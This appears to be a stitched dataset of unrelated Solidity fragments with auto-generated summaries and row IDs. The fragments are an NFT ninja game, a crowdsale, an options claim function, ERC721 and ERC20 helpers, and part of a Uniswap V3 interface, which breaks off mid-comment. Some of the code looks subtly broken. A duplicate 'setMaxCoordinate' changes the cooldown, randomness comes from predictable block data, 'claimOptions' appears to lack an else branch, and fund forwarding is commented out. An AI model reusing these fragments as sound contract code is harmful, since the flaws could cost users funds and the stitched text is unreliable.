string public constant SYMBOL = "CNN";
event NewNinja(uint256 ninjaid, bytes16 name, bytes32 pattern);
struct Ninja {
bytes32 pattern;
bytes16 name;
uint16 level;
uint32 exp;
uint8 dna1;
uint8 dna2;
uint32 readyTime;
uint16 winCount;
uint8 levelPoint;
uint16 lossCount;
uint16 reward;
uint256 lastAttackedCastleid;
}
mapping (uint256 => bytes) private paths;
mapping (uint256 => bytes) private steps;
EverGold internal goldToken;
uint8 internal expOnSuccess = 3;
uint8 internal expOnFault = 1;
uint8 internal leveupExp = 10;
uint256 internal cooldownTime = 5 minutes;
uint256 internal maxCoordinate = 12;
Ninja[] internal ninjas;
uint256 private randNonce = 0;
uint8 public kindCount = 2;
uint32[] public COLORS = [
0xD7003A00,
0xF3980000,
0x00552E00,
0x19448E00,
0x543F3200,
0xE7609E00,
0xFFEC4700,
0x68BE8D00,
0x0095D900,
0xE9DFE500,
0xEE836F00,
0xF2F2B000,
0xAACF5300,
0x0A3AF00,
0xF8FBF800,
0xF4B3C200,
0x928C3600,
0xA59ACA00,
0xABCED800,
0x30283300,
0xFDEFF200,
0xDDBB9900,
0x74539900,
0xAA4C8F00
];
uint256 public price = 1000;
/// @dev Constructor
constructor()
public
ERC721Token(NAME, SYMBOL)
{
ninjas.push(Ninja({
pattern: 0, name: "DUMMY", level: 0, exp: 0,
dna1: 0, dna2: 0,
readyTime: 0,
winCount: 0, lossCount: 0,
levelPoint:0, reward: 0,
lastAttackedCastleid: 0 }));
}
function mint(address _beneficiary)
public
whenNotPaused
onlyAccessByGame
returns (bool)
{
require(_beneficiary != address(0));
return _create(_beneficiary, 0, 0);
}
function burn(uint256 _tokenId) external onlyOwnerOf(_tokenId) {
super._burn(msg.sender, _tokenId);
}
function setPath(
uint256 _ninjaid,
uint256 _castleid,
bytes _path,
bytes _steps)
public
onlyAccessByGame
{
Ninja storage ninja = ninjas[_ninjaid];
ninja.lastAttackedCastleid = _castleid;
paths[_ninjaid] = _path;
steps[_ninjaid] = _steps;
}
function win(uint256 _ninjaid)
public
onlyAccessByGame
returns (bool)
{
Ninja storage ninja = ninjas[_ninjaid];
ninja.winCount++;
ninja.exp += expOnSuccess;
ninja.levelPoint += expOnSuccess;
_levelUp(ninja);
_triggerCooldown(_ninjaid);
return true;
}
function lost(uint256 _ninjaid)
public
onlyAccessByGame
returns (bool)
{
Ninja storage ninja = ninjas[_ninjaid];
ninja.lossCount++;
ninja.exp += expOnFault;
ninja.levelPoint += expOnFault;
_levelUp(ninja);
_triggerCooldown(_ninjaid);
return true;
}
function setName(uint256 _ninjaid, bytes16 _newName)
external
onlyOwnerOf(_ninjaid)
{
ninjas[_ninjaid].name = _newName;
}
function setGoldContract(address _goldTokenAddress)
public
onlyOwner
{
require(_goldTokenAddress != address(0));
goldToken = EverGold(_goldTokenAddress);
}
function setNinjaKindCount(uint8 _kindCount)
public
onlyOwner
{
kindCount = _kindCount;
}
function setPrice(uint16 _price)
public
onlyOwner
{
price = _price;
}
function setMaxCoordinate(uint16 _maxCoordinate)
public
onlyOwner
{
maxCoordinate = _maxCoordinate;
}
function setMaxCoordinate(uint256 _cooldownTime)
public
onlyOwner
{
cooldownTime = _cooldownTime;
}
function _create(address _beneficiary, uint8 _dna1, uint8 _dna2)
private
returns (bool)
{
bytes32 pattern = _generateInitialPattern();
uint256 tokenid = ninjas.length;
bytes16 name = StringLib.generateName("NINJA#", 6, tokenid);
uint256 id = ninjas.push(Ninja({
pattern: pattern, name: name, level: 1, exp: 0,
dna1: _dna1, dna2: _dna2,
readyTime: uint32(now + cooldownTime),
winCount: 0, lossCount: 0,
levelPoint:0, reward: 0,
lastAttackedCastleid: 0})) - 1;
super._mint(_beneficiary, id);
emit NewNinja(id, name, pattern);
return true;
}
function _triggerCooldown(uint256 _ninjaid)
internal
onlyAccessByGame
{
Ninja storage ninja = ninjas[_ninjaid];
ninja.readyTime = uint32(now + cooldownTime);
}
function _levelUp(Ninja storage _ninja)
internal
onlyAccessByGame
{
if (_ninja.levelPoint >= leveupExp) {
_ninja.levelPoint -= leveupExp;
_ninja.level++;
if (_ninja.level == 2) {
_ninja.dna1 = uint8(_getRandom(6));
} else if (_ninja.level == 5) {
_ninja.dna2 = uint8(_getRandom(6));
}
}
}
function getByOwner(address _owner)
external
view
returns(uint256[] result)
{
return ownedTokens[_owner];
}
function getInfo(uint256 _ninjaid)
external
view
returns (bytes16, uint32, uint16, uint16, bytes32, uint8, uint8)
{
Ninja storage ninja = ninjas[_ninjaid];
return (ninja.name, ninja.level, ninja.winCount, ninja.lossCount, ninja.pattern,
ninja.dna1, ninja.dna2);
}
function getHp(uint256 _ninjaid)
public
view
returns (uint32)
{
Ninja storage ninja = ninjas[_ninjaid];
return uint32(100 + (ninja.level - 1) * 10);
}
function getDna1(uint256 _ninjaid)
public
view
returns (uint8)
{
Ninja storage ninja = ninjas[_ninjaid];
return ninja.dna1;
}
function getDna2(uint256 _ninjaid)
public
view
returns (uint8)
{
Ninja storage ninja = ninjas[_ninjaid];
return ninja.dna2;
}
function isReady(uint256 _ninjaid)
public
view
returns (bool)
{
Ninja storage ninja = ninjas[_ninjaid];
return (ninja.readyTime <= now);
}
function getReward(uint256 _ninjaid)
public
view
onlyOwnerOf(_ninjaid)
returns (uint16)
{
Ninja storage ninja = ninjas[_ninjaid];
return ninja.reward;
}
function getPath(uint256 _ninjaid)
public
view
onlyOwnerOf(_ninjaid)
returns (bytes path)
{
return paths[_ninjaid];
}
function getLastAttack(uint256 _ninjaid)
public
view
onlyOwnerOf(_ninjaid)
returns (uint256 castleid, bytes path)
{
Ninja storage ninja = ninjas[_ninjaid];
return (ninja.lastAttackedCastleid, paths[_ninjaid]);
}
function getAttr(bytes32 _pattern, uint256 _n)
internal
pure
returns (bytes4)
{
require(_n < 8);
uint32 mask = 0xffffffff;
return bytes4(uint256(_pattern) / (2 ** ((7 - _n) * 8)) & mask);
}
function _getRandom(uint256 _modulus)
internal
onlyAccessByGame
returns(uint32)
{
randNonce = randNonce.add(1);
return uint32(uint256(keccak256(abi.encodePacked(now, msg.sender, randNonce))) % _modulus);
}
function _generateInitialPattern()
internal
onlyAccessByGame
returns (bytes32)
{
uint256 pattern = 0;
uint32 color = COLORS[(_getRandom(COLORS.length))];
for (uint256 i = 0; i < 8; i++) {
uint32 temp = color;
if (i == 1) {
temp |= _getRandom(2);
} else {
temp |= _getRandom(maxCoordinate);
}
pattern = pattern | (temp * 2 ** (8 * 4 * (7 - i)));
}
return bytes32(pattern);
}
function getPrice()
public
view
returns (uint256)
{
return price;
}
}
|
Gets the approved address for a token ID, or zero if no address set _tokenId uint256 ID of the token to query the approval of return address currently approved for the given token ID/
|
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
| 151,299
|
./partial_match/1/0xa3df9428dedA5120d04177488849f7507B2e5067/sources/MintableController.sol
|
set maximum allowance for system accounts. amount The amount of allowance./
|
function setMaxMintAllowance(uint256 amount) public virtual onlyOwner {
emit MaxMintAllowance(amount);
maxMintAllowance = amount;
}
| 4,149,954
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
import "../utils/Context.sol";
import "../token/ERC20/IERC20.sol";
import "../math/SafeMath.sol";
import "../token/ERC20/SafeERC20.sol";
import "../utils/ReentrancyGuard.sol";
/**
* @title Crowdsale for ERC20
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract
* implements such functionality in its most fundamental form and can be
* extended to provide additional functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing
* tokens, and conforms the base architecture for crowdsales. It is NOT
* intended to be modified / overridden. The internal interface conforms
* the extensible and modifiable surface of crowdsales. Override the
* methods to add functionality. Consider using 'super' where
* appropriate to concatenate behavior.
*/
contract Crowdsale is Context, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address payable private _wallet;
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
/**
* @dev Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @dev The rate is the conversion between wei and the smallest and
* indivisible token unit. So, if you are using a rate of 1 with a
* ERC20Detailed token with 3 decimals called TOK, 1 wei will give
* you 1 unit, or 0.001 TOK.
*
* @param rate_ Number of token units a buyer gets per wei
* @param wallet_ Address where collected funds will be forwarded to
* @param token_ Address of the token being sold
*/
constructor(
uint256 rate_,
address payable wallet_,
IERC20 token_
) {
require(rate_ > 0, "Crowdsale: rate is 0");
require(
wallet_ != address(0),
"Crowdsale: wallet is the zero address"
);
require(
address(token_) != address(0),
"Crowdsale: token is the zero address"
);
_rate = rate_;
_wallet = wallet_;
_token = token_;
}
/**
* @dev fallback/receive function ***DO NOT OVERRIDE***
* Note that other contracts will transfer funds with a base gas
* stipend of 2300, which is not enough to call buyTokens. Consider
* calling buyTokens directly when purchasing tokens from a contract
*/
receive() external payable {
buyTokens(_msgSender());
}
/**
* @return the token being sold.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the address where funds are collected.
*/
function wallet() public view returns (address payable) {
return _wallet;
}
/**
* @return the number of token units a buyer gets per wei.
*/
function rate() public view virtual returns (uint256) {
return _rate;
}
/**
* @return the amount of wei raised.
*/
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* This function has a non-reentrancy guard, so it shouldn't be
* called by another `nonReentrant` function.
*
* @param beneficiary Recipient of the token purchase
*/
function buyTokens(address beneficiary) public payable nonReentrant {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
// _forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
/**
* @dev Validation of an incoming purchase. Use require statements
* to revert state when conditions are not met. Use `super` in
* contracts that inherit from Crowdsale to extend their validations
*
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(beneficiary, weiAmount);
* require(weiRaised().add(weiAmount) <= cap);
*
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address beneficiary, uint256 weiAmount)
internal
view
virtual
{
require(
beneficiary != address(0),
"Crowdsale: beneficiary is the zero address"
);
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
this; // see https://github.com/ethereum/solidity/issues/2691
}
/**
* @dev Validation of an executed purchase. Observe state and use
* revert statements to undo rollback when valid conditions are not
* met.
*
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address beneficiary, uint256 weiAmount)
internal
view
{}
/**
* @dev Source of tokens. Override this method to modify the way in
* which the crowdsale ultimately gets and sends its tokens.
* @param beneficiary Address performing the token purchase
* @param tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address beneficiary, uint256 tokenAmount)
internal
virtual
{
_token.safeTransfer(beneficiary, tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to
* be executed. Doesn't necessarily emit/send tokens.
* @param beneficiary Address receiving the tokens
* @param tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address beneficiary, uint256 tokenAmount)
internal
virtual
{
_deliverTokens(beneficiary, tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to
* check for validity (current user contributions, etc.)
* @param beneficiary Address receiving the tokens
* @param weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address beneficiary, uint256 weiAmount)
internal
virtual
{
// solhint-disable-previous-line no-empty-blocks
}
/**
* @dev Override to extend the way in which ether is converted to
* tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified
* _weiAmount
*/
function _getTokenAmount(uint256 weiAmount)
internal
view
virtual
returns (uint256)
{
return weiAmount.mul(_rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal virtual {
_wallet.transfer(msg.value);
}
function _withdrawFunds(uint256 amount) internal {
_wallet.transfer(amount);
}
}
|
Override to extend the way in which ether is converted to tokens. weiAmount Value in wei to be converted into tokens return Number of tokens that can be purchased with the specified _weiAmount/
|
function _getTokenAmount(uint256 weiAmount)
internal
view
virtual
returns (uint256)
{
return weiAmount.mul(_rate);
}
| 1,782,996
|
./partial_match/84531/0x9395fECA3ecB6BC1e680cC4ba519c62F46DB4843/sources/src/TwoSlots.sol
|
Allows to exchange options in a refund or settlement context. If contest refundable, both types of options are refunded at purchase price whereas resolvable only winning options are paid at payout ratio. _contestID ID of contest where the options will be claimed.
|
function claimOptions(uint256 _contestID) external isContestClaimable(_contestID) {
Contest memory contestData = getContestData(_contestID);
uint256 quantityOfLong = IERC1155(LONG_TOKEN).balanceOf(msg.sender, _contestID);
uint256 quantityOfShort = IERC1155(SHORT_TOKEN).balanceOf(msg.sender, _contestID);
if (contestData.contestStatus == ContestStatus.REFUNDABLE) {
_askRefund(_contestID, quantityOfLong, quantityOfShort);
OptionType winningSlot = contestData.winningSlot;
address tokenToSettle = winningSlot == OptionType.LONG ? LONG_TOKEN : SHORT_TOKEN;
uint256 quantityToSettle = winningSlot == OptionType.LONG ? quantityOfLong : quantityOfShort;
uint256 ratioToPayout = winningSlot == OptionType.LONG ? contestData.ratioLong : contestData.ratioShort;
_askSettlement(_contestID, tokenToSettle, quantityToSettle, ratioToPayout);
}
}
| 16,683,908
|
./partial_match/1/0x75Be69fc0859874E722D97a7f464D402e3dCff58/sources/contracts/standards/HONEYCOMBS721.sol
|
Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients are aware of the ERC721 protocol to prevent tokens from being forever locked. `data` is additional data, it has no specified format and it is sent in call to `to`. This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. implement alternative mechanisms to perform token transfer, such as signature-based. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `tokenId` token must exist and be owned by `from`. - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. Emits a {Transfer} event./
|
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, data)) {
revert ERC721__TransferToNonReceiver();
}
}
| 3,888,194
|
./partial_match/1/0xc22e162db0b8B55486160C35064f91E418CC2221/sources/WFee.sol
|
Prevent transfer to 0x0 address. Use burn() instead Check if the sender has enough 转账必由之路,锁定的钱不可动 Check for overflows Save this for an assertion in the future Subtract from the sender Add the same to the recipient Asserts are used to use static analysis to find bugs in your code. They should never fail
|
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require((balanceOf[_from] - lockUtils.getLockWFee()) >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
| 3,611,934
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Context.sol";
import "./IERC20.sol";
import "../libraries/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128, uint128);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
